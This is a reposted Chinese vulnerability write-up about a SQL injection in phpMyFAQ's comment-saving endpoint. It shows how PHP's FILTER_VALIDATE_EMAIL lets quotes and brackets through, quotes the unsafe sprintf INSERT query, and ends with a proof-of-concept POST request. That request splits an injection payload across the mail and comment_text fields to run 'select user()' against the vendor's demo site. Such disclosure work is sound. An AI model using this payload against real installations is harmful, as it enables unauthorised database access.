PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

栏目: PHP · 发布时间: 5年前

内容简介:去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信PHP自带的FILTER_VALIDATE_EMAIL邮箱验证。在使用了filter_var($email,FILTER_VALIDATE_EMAIL);验证邮箱后, 没有进一步做处理 直接格式化字符串进了sql语句导致了注入。

去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信 PHP 自带的FILTER_VALIDATE_EMAIL邮箱验证。

在使用了filter_var($email,FILTER_VALIDATE_EMAIL);

验证邮箱后, 没有进一步做处理 直接格式化字符串进了 sql 语句导致了注入。

FILTER_VALIDATE_EMAIL

本地调试版本: PHP5.4.5

首先来看看PHP的filter_var($email,FILTER_VALIDATE_EMAIL);是如何来验证邮箱是否合法的。

https://github.com/php-src/php/blob/2b86a89193c151b5e9b098cc9aa8411abd7f30ea/ext/filter/filter.c

PHP_FUNCTION(filter_var)
{
	zend_long filter = FILTER_DEFAULT;
	zval *filter_args = NULL, *data;

	if (zend_parse_parameters(ZEND_NUM_ARGS(), "z/|lz", &data, &filter, &filter_args) == FAILURE) {
		return;
	}

	if (!PHP_FILTER_ID_EXISTS(filter)) {
		RETURN_FALSE;
	}

	ZVAL_DUP(return_value, data);

	php_filter_call(return_value, filter, filter_args, 1, FILTER_REQUIRE_SCALAR);
}

php_filter_call里调用php_zval_filter,

static void php_filter_call(zval *filtered, zend_long filter, zval *filter_args,const int copy, zend_long filter_flags)/* {{{ */
{       ...
    php_zval_filter(filtered, filter, filter_flags, options,    charset, copy);
    ...
}
static void php_zval_filter(zval *value, zend_long filter, zend_long flags, zval *options,char* charset, zend_bool copy)/* {{{ */
{
	filter_list_entry  filter_func;

	filter_func = php_find_filter(filter);

	if (!filter_func.id) {
		/* Find default filter */
		filter_func = php_find_filter(FILTER_DEFAULT);
	}

	if (copy) {
		SEPARATE_ZVAL(value);
	}
   ......
	convert_to_string(value);

	filter_func.function(value, flags, options, charset);

根据id, 查找到filter_func, 然后调用指定的方法。

PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

filter_var第二个参数为FILTER_VALIDATE_EMAIL时, 调用的是 php_filter_validate_email方法。

https://github.com/php-src/php/blob/PHP-5.4.5/ext/filter/logical_filters.c

void php_filter_validate_email(PHP_INPUT_FILTER_PARAM_DECL)
{
	const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD";

	pcre       *re = NULL;
	pcre_extra *pcre_extra = NULL;
	int preg_options = 0;
	int         ovector[150]; /* Needs to be a multiple of 3 */
	int         matches;


	/* The maximum length of an e-mail address is 320 octets, per RFC 2821. */
	if (Z_STRLEN_P(value) > 320) {
		RETURN_VALIDATION_FAILED
	}

	re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC);
	if (!re) {
		RETURN_VALIDATION_FAILED
	}
	matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3);

	/* 0 means that the vector is too small to hold all the captured substring offsets */
	if (matches < 0) {
		RETURN_VALIDATION_FAILED
	}
}

去年提交这个漏洞的时候, 一直不知道怎么才能插入括号, 那时候用的双参数拼接的方法注入。

不过看这正则可以发现,

如果email的local part不以双引号开头和结尾, 允许的字符为

\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E

如果以双引号开头和结尾, 允许的字符为

\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F

且如果前面的字符为\x5c, 后面紧跟的字符允许范围为 \x00-\x7F。

在local part以双引号开头和结尾这种情况中, 括号\x28 \x29在允许的字符范围内, 所以可以把括号写到双引号中。

虽然php_filter_validate_email允许邮箱最长为320个字符, 但是local part被正则限制到最多64个字符。

漏洞分析

(直接复制当初的邮件了~~~)

In the latest version of phpMyFAQ, there is a SQL Injection vulnerability in ajaxservice.php.

case 'savecomment':

if (!$faqConfig->get('records.allowCommentsForGuests') && !$user->perm->checkRight($user->getUserId(), 'addcomment')) { 
    $message = array('error' => $PMF_LANG['err_NotAuth']);
    break; 
}

$faq = new PMF_Faq($faqConfig); 
$oComment = new PMF_Comment($faqConfig); 
$category = new PMF_Category($faqConfig); 
$type = PMF_Filter::filterInput(INPUT_POST, 'type', FILTER_SANITIZE_STRING); 
$faqid = PMF_Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0); 
$newsid = PMF_Filter::filterInput(INPUT_POST, 'newsid', FILTER_VALIDATE_INT); 
$username = PMF_Filter::filterInput(INPUT_POST, 'user', FILTER_SANITIZE_STRING); 
$mail = PMF_Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL); 
$comment = PMF_Filter::filterInput(INPUT_POST, 'comment_text', FILTER_SANITIZE_SPECIAL_CHARS);

The email variable uses FILTER_VALIDATE_EMAIL to validate, but FILTER_VALIDATE_EMAIL filter cannot completely prevent SQL Injection. With this filter, single quotes and some special characters can still be used, that’s enough for SQL Injection.

$commentData = [ 
    'record_id' => $id, 
    'type' => $type, 
    'username' => $username, 
    'usermail' => $mail, 
    'comment' => nl2br($comment), 
    'date' => $_SERVER['REQUEST_TIME'], 
    'helped' => '',
    ];

The mail variable is loaded into the commentData variable,

$oComment->addComment($commentData)

and the commentData variable is inserted into the database directly, thus leads to SQL Injection vulnerability.

public function addComment(Array $commentData)
{
    $query = sprintf("
    INSERT INTO 
        %sfaqcomments 
    VALUES 
        (%d, %d, '%s', '%s', '%s', '%s', %d,'%s')",
    PMF_Db::getTablePrefix(), $this->config->getDb()->nextId(PMF_Db::getTablePrefix().'faqcom ments','id_comment'), 
    $commentData['record_id'], 
    $commentData['type'], 
    $commentData['username'], 
    $commentData['usermail'], 
    $commentData['comment'], 
    $commentData['date'], 
    $commentData['helped']
);
if (!$this->config->getDb()->query($query)) { 
    return false; 
}

return true;
}

test the phpMyFAQ demo.

Firstly, add a question and got the question id.

http://denholm.demo.phpmyfaq.de/index.php?sid=620&lang=zh&action=add&cat=2

Secondly ,

POST /ajaxservice.php?action=savecomment HTTP/1.1 
Host: denholm.demo.phpmyfaq.de 
Proxy-Connection: keep-alive 
Content-Length: 135 
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://denholm.demo.phpmyfaq.de 
X-Requested-With: XMLHttpRequest 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 
Content-Type: application/x-www-form-urlencoded;charset=UTF-8 
Referer: http://denholm.demo.phpmyfaq.de/index.php?action=artikel&cat=1&id=2&artlang=zh 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,it;q=0.4

id=5⟨=zh&type=faq&user=xiaoyu111&mail=xiaoyu1~'/*11~%40qq.com&comment_text=*/,(select user()),1500351093,null)#&captcha=OMSNS9

PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

硅谷之火

硅谷之火

保罗·弗赖伯格、迈克尔·斯韦因 / 张华伟 编译 / 中国华侨出版社 / 2014-11-1 / CNY 39.80

《硅谷之火:人与计算机的未来》以生动的故事,介绍了计算机爱好者以怎样的创新精神和不懈的努力,将计算机技术的力量包装在一个小巧玲珑的机壳里,实现了个人拥有计算机的梦想。同时以独特的视角讲述了苹果、微软、太阳微系统、网景、莲花以及甲骨文等公司的创业者们在实现个人计算机梦想的过程中创业的艰辛、守业的艰难、失败的痛苦,在激烈竞争的环境中奋斗的精神以及在技术上不断前进的历程。一起来看看 《硅谷之火》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具